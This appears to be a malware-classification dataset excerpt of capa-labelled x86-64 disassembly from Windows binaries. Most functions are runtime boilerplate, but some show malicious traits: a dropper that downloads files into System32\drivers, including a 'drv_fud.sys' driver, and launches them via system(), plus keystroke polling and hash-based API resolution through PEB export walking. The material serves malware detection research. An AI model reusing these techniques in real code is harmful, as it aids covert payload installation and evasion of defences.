joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48cb48
Capabilities:
Query environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x58
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
xor ebp, ebp
cmp dword [rdx + 8], ebp
jne 0x48cb72
lea eax, [rbp - 1]
jmp 0x48cc59
cmp ebx, 0xffffffff
cmove ebx, ebp
lea rcx, [rsp + 0x38]
call fcn.00402868
nop
mov edx, 0x110
cmp dword [rsp + 0x44], edx
jae 0x48cb98
lea rcx, [rsp + 0x38]
call fcn.004024f4
mov r8d, 0x10e
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, qword [rsp + 0x38]
mov word [rcx + 0x21c], bp
mov edx, ebp
cmp word [rcx], bp
je 0x48cbca
inc edx
add rcx, 2
cmp word [rcx], bp
jne 0x48cbbf
mov dword [rsp + 0x40], edx
cmp eax, ebp
je 0x48cbd9
cmp eax, 0x10e
jb 0x48cbe6
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.00402ae4
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x88]
xor r8d, r8d
mov edx, ebx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
cmp eax, 1
jne 0x48cc4a
mov r8, qword [rsp + 0x88]
cmp r8, rbp
je 0x48cc4a
lea edx, [rax - 2]
mov rcx, qword [rsi + 0x38]
call qword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.USER32.dll_DestroyIcon]
mov ebx, dword [rsi + 0x30]
lea ecx, [rbx + 1]
mov dword [rsi + 0x30], ecx
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
mov eax, ebx
jmp 0x48cc59
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
mov eax, 0xffffffff
add rsp, 0x58
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x48d3a0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rsi, rcx
mov ecx, reloc.COMCTL32.dll_InitCommonControls
mov rbx, rdx
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x12
mov di, ax
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov r11w, ax
shr r11d, 0xf
test r11b, 1
jne 0x48d45a
movzx ecx, word [rbx + 0x18]
xor edx, edx
cmp dil, dl
je 0x48d42a
cmp cx, 0x41
je 0x48d430
movzx eax, cx
cmp eax, 0x20
je 0x48d412
cmp eax, 0x6a
jle 0x48d45a
cmp eax, 0x6d
jle 0x48d412
cmp eax, 0x6f
je 0x48d412
cmp eax, 0xbb
je 0x48d412
cmp eax, 0xbd
jne 0x48d45a
cmp dil, dl
jne 0x48d45a
cmp cx, 0x20
mov rcx, rsi
setne dl
call fcn.0048d298
mov al, 1
jmp 0x48d45c
cmp cx, 0x6a
jne 0x48d3ed
mov ecx, 2
lea r9, [rsp + 0x20]
mov edx, 0x102b
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x2c], ecx
mov rcx, qword [rsi + 0x40]
mov r8, 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SendMessageW]
jmp 0x48d426
xor al, al
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret

Function at 0x495310
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x495349
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.SetDefaultDllDirectories
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x495349
mov ecx, 0xc00
call rax
add rsp, 0x28
ret
Function at 0x495740
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x40]
mov r9, r8
mov rbx, rcx
mov r8, rdx
mov qword [rsp + 0x28], rax
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
je 0x49577b
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
test eax, eax
cmovne ecx, eax
mov eax, ecx
add rsp, 0x30
pop rbx
ret

Function at 0x495850
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x198
mov rax, qword [0x004ce0f8]
mov qword [rsp + 0x150], rax
mov rax, qword [0x004cee40]
mov qword [r11 - 0x10], rbp
mov qword [r11 - 0x18], rsi
test rax, rax
mov qword [r11 - 0x20], rdi
mov qword [r11 - 0x28], r12
mov qword [r11 - 0x30], r13
mov rdi, r9
mov esi, r8d
mov r12, rdx
mov rbp, rcx
mov r13d, 1
jne 0x495966
cmp dword [0x004cee38], eax
jne 0x495966
lea rax, [rsp + 0x38]
mov qword [r11 - 8], rbx
lea rdx, str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x20], rax
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x495939
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, [0x0049889a]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
cmove ebx, r13d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x495939
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x004cee40], rax
jmp 0x495940
mov rax, qword [0x004cee40]
test rax, rax
mov rbx, qword [rsp + 0x190]
jne 0x495966
lea rcx, str.hhctrl.ocx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov qword [0x004cee40], rax
je 0x49598e
mov r10, qword [0x004cee30]
test r10, r10
jne 0x495999
lea edx, [r10 + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov r10, rax
mov qword [0x004cee30], rax
jne 0x495999
mov dword [0x004cee38], r13d
xor eax, eax
jmp 0x4959a8
mov r9, rdi
mov r8d, esi
mov rdx, r12
mov rcx, rbp
call r10
mov r13, qword [rsp + 0x168]
mov r12, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x180]
mov rbp, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x150]
call fcn.00496720
add rsp, 0x198
ret
Function at 0x496250
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xc8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
cmp word [0x00400000], 0x5a4d
je 0x49628d
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
lea rdi, [0x00400000]
jmp 0x49631b
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x4962b1
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x49631b
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x4962f8
cmp ecx, 0x20b
je 0x4962d0
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x49631b
cmp dword [rax + 0x84], 0xe
ja 0x4962e4
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x49631b
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
jmp 0x49631b
cmp dword [rax + 0x74], 0xe
ja 0x496309
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x49631b
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
mov ecx, 2
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x004cf3f0], 0xffffffffffffffff
mov qword [0x004cf3f8], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x004cee74]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x004cee70]
mov dword [rcx], eax
call fcn.00496500
cmp dword [0x004ce0e8], 0
jne 0x496375
lea rcx, [fcn.00496500]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x00497a18]
lea rcx, [0x00497a10]
call fcn.00579000
mov r11d, dword [0x004cee6c]
mov dword [rsp + 0xd8], r11d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x004cee68]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x3c]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x00497a08]
lea rcx, [0x00497968]
call sub.msvcrt.dll__initterm
mov r11, qword [sym.imp.msvcrt.dll__acmdln]
mov r8, qword [r11]
mov qword [rsp + 0x30], r8
cmp byte [r8], 0x22
jne 0x496416
nop
nop
inc r8
mov qword [rsp + 0x30], r8
movzx eax, byte [r8]
test al, al
je 0x496406
cmp al, 0x22
je 0x496406
jmp 0x4963f0
cmp byte [r8], 0x22
jne 0x496426
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496426
cmp byte [r8], 0x20
jbe 0x496426
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496416
movzx eax, byte [r8]
test al, al
je 0x49643c
cmp al, 0x20
ja 0x49643c
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496426
test byte [rsp + 0x8c], 1
je 0x496451
movzx r9d, word [rsp + 0x90]
jmp 0x496457
mov r9d, 0xa
xor edx, edx
mov rcx, rdi
call fcn.00456d0c
mov edi, eax
mov dword [rsp + 0x38], eax
test ebx, ebx
jne 0x496473
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x496497
mov eax, edi
jmp 0x4964a0
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
add rsp, 0xc8
ret
Function at 0x4965f0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
lea rsi, [0x004cef20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [0x004cf018]
lea rdx, [rsp + 0x70]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x496671
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x004cf018]
jmp 0x49668d
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x004cf018], r11
mov qword [0x004cefb8], rax
mov rax, qword [0x004ce0f8]
mov qword [0x004cee90], r11
mov qword [0x004cefa0], rdi
mov dword [0x004cee80], 0xc0000409
mov dword [0x004cee84], 1
mov qword [rsp + 0x50], rax
mov rax, qword [0x004ce0f0]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004a4d50]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
cmp rcx, qword [0x004ce0f8]
jne 0x496739
rol rcx, 0x10
test cx, 0xffff
jne 0x496735
ret
ror rcx, 0x10
jmp 0x4965f0
Function at 0x180798058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1807981df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180798089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18079806f
add dl, dl
jne 0x180798096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807980f6
xor eax, eax
add dl, dl
jne 0x1807980a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807981ad
add dl, dl
jne 0x1807980b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807980c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807980d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807980dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1807980ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18079807e
mov eax, 1
add dl, dl
jne 0x180798106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180798113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807980fb
sub eax, ebx
mov ebx, 1
jne 0x18079814c
mov ecx, 1
add dl, dl
jne 0x18079812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18079813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180798123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18079807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180798168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180798175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18079815d
cmp eax, 0x7d00
jae 0x18079819b
cmp eax, 0x500
jb 0x180798196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18079807e
cmp eax, 0x7f
ja 0x18079819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18079807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1807981d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18079807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
std
push rdi
movabs al, byte [0x22ad66e914222149]
fmul dword [rcx - 0x1e]
xor eax, 0xf22cc311
lodsd eax, dword [rsi]
sar dword [rdx + rdi*2 - 0x3fa3599a], cl
invalid
Function at 0x140001070
Capabilities:
Download url
Execute command
Receive data
Terminate process

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.Installing_Required_Files_Before_Launch..
call fcn.140001010
xor ebx, ebx
lea r8, str.C:Windows_vault.bat
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.serial_checker_link
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windows_vault.exe
xor ecx, ecx
lea rdx, str.cleaner_link
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32driversdriver_helper1.exe
xor ecx, ecx
lea rdx, str.mapper_link
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32driversdrv_fud.sys
xor ecx, ecx
lea rdx, str.driver_link
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x834
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400034a4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Successfully_Installed_Required_Files.
call fcn.140001010
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400034a4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n__1__Spoof_n__2__Clean_n__3__Check_Serials_n_n_Choose_option:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x30]
sub ecx, 1
je 0x1400011ab
sub ecx, 1
je 0x1400011a2
cmp ecx, 1
je 0x140001199
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.start_C:Windows_vault.bat
jmp 0x1400011b2
lea rcx, str.start_C:Windows_vault.exe
jmp 0x1400011b2
lea rcx, str.C:WindowsSystem32driversdriver_helper1.exe_C:WindowsSystem32driversdrv_fud.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001400
add rsp, 0x40
pop rbx
ret

Function at 0x140001cc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d0c
xor al, al
add rsp, 0x28
ret
Function at 0x1800193d8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword [rdx]
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx], rax
je 0x1800194aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001948a
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001948a
mov r15d, dword [r9 + 0x20]
dec r10d
mov ebp, 0xfec87d13
lea rcx, [r15 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov sil, byte [r11]
inc r11
test sil, sil
je 0x180019485
movsx ecx, sil
sub sil, 0x41
mov edx, ecx
or edx, 0x20
cmp sil, 0x19
mov sil, byte [r11]
cmova edx, ecx
inc r11
xor edx, ebp
imul ebp, edx, 0x1000193
test sil, sil
jne 0x180019456
cmp ebp, 0x108fe82f
je 0x18001948f
test r10d, r10d
jne 0x180019438
mov rax, qword [rax]
jmp 0x180019413
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rax, qword [rbx]
movzx ecx, byte [rax]
cmp ecx, 5
ja 0x1800194d9
je 0x1800194d9
test ecx, ecx
je 0x1800194d9
sub ecx, 1
je 0x1800194cf
sub ecx, 1
jne 0x1800194d9
mov rax, qword [rdi + 0x10]
cmp qword [rbx + 0x10], rax
jmp 0x1800194e1
mov rax, qword [rdi + 8]
cmp qword [rbx + 8], rax
jmp 0x1800194e1
mov rax, qword [rdi + 0x18]
cmp qword [rbx + 0x18], rax
mov rbx, qword [rsp + 0x40]
sete al
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x180019598
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov rbx, rdx
mov r11, rcx
test r9b, r9b
je 0x1800195ea
test r8, r8
je 0x18001960d
movabs r9, 0x100000001b3
mov al, byte [rbx + r10]
mov dl, byte [rbx + r10]
add al, 0x20
movzx ecx, al
sub dl, 0x41
movzx eax, byte [rbx + r10]
cmp dl, 0x19
cmova ecx, eax
inc r10
imul r11, r9
movsx rax, cl
xor r11, rax
cmp r10, r8
jb 0x1800195ba
jmp 0x18001960d
test r8, r8
je 0x18001960d
movabs r9, 0x100000001b3
movsx rcx, byte [rdx + r10]
inc r10
imul r11, r9
xor r11, rcx
cmp r10, r8
jb 0x1800195f9
mov rbx, qword [rsp + 8]
mov rax, r11
ret
xor r8d, r8d
cmp byte [rcx], r8b
je 0x180023eda
inc r8
cmp byte [rcx + r8], 0
jne 0x180023ed0
mov r9b, dl
mov rdx, rcx
movabs rcx, 0xcbf29ce484222325
jmp 0x180019598
Function at 0x18001dbb0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov r15, rdx
cmp byte [rcx], 4
mov rdi, rcx
je 0x18001dc86
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001dc66
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001dc66
mov r12d, dword [r9 + 0x20]
dec r10d
mov ebp, 0x47a5b3f9
lea rcx, [r12 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov sil, byte [r11]
inc r11
test sil, sil
je 0x18001dc61
movsx ecx, sil
sub sil, 0x41
mov edx, ecx
or edx, 0x20
cmp sil, 0x19
mov sil, byte [r11]
cmova edx, ecx
inc r11
xor edx, ebp
imul ebp, edx, 0x1000193
test sil, sil
jne 0x18001dc32
cmp ebp, 0x7006995
je 0x18001dc6b
test r10d, r10d
jne 0x18001dc14
mov rax, qword [rax]
jmp 0x18001dbef
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
cmp byte [rdi], 4
lea rax, [rdi + 8]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
cmove rbx, rax
mov rdi, qword [rsp + 0x58]
mov al, byte [rbx]
mov rbx, qword [rsp + 0x40]
mov byte [r15], al
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x18001dcb8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movzx r9d, byte [rcx]
xor r8d, r8d
mov r11, rdx
mov r10, rcx
cmp r9d, 5
ja 0x18001dd38
je 0x18001dd1a
mov edx, r9d
test r9d, r9d
je 0x18001dd4d
sub edx, 1
je 0x18001dd4d
sub edx, 1
je 0x18001dd4d
sub edx, 1
je 0x18001dd4d
cmp edx, 1
jne 0x18001dd4d
lea rax, [rcx + 8]
cmp r9b, 4
cmove r8, rax
movzx eax, byte [r8]
mov dword [r11], eax
jmp 0x18001de1b
sub r9b, 5
cmp r9b, 1
setbe al
add rcx, 8
neg al
sbb rax, rax
and rax, rcx
mov eax, dword [rax]
jmp 0x18001de19
mov ecx, r9d
sub ecx, 6
je 0x18001de0a
sub ecx, 1
je 0x18001ddf7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18001ddd5
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18001ddd5
mov r14d, dword [r10 + 0x20]
dec r11d
mov esi, 0xa33d595
lea rcx, [r14 + r11*4]
mov ebx, dword [rcx + r9]
add rbx, r9
mov dil, byte [rbx]
inc rbx
test dil, dil
je 0x18001ddd0
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
mov dil, byte [rbx]
cmova edx, ecx
inc rbx
xor edx, esi
imul esi, edx, 0x1000193
test dil, dil
jne 0x18001dda1
cmp esi, 0x8cbef29
je 0x18001ddda
test r11d, r11d
jne 0x18001dd83
mov rax, qword [rax]
jmp 0x18001dd5e
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
call rax
jmp 0x18001de1b
lea rax, [r10 + 8]
cmp r9b, 7
cmove r8, rax
cvttsd2si eax, qword [r8]
jmp 0x18001de19
lea rax, [r10 + 8]
cmp r9b, 6
cmove r8, rax
mov eax, dword [r8]
mov dword [rdx], eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret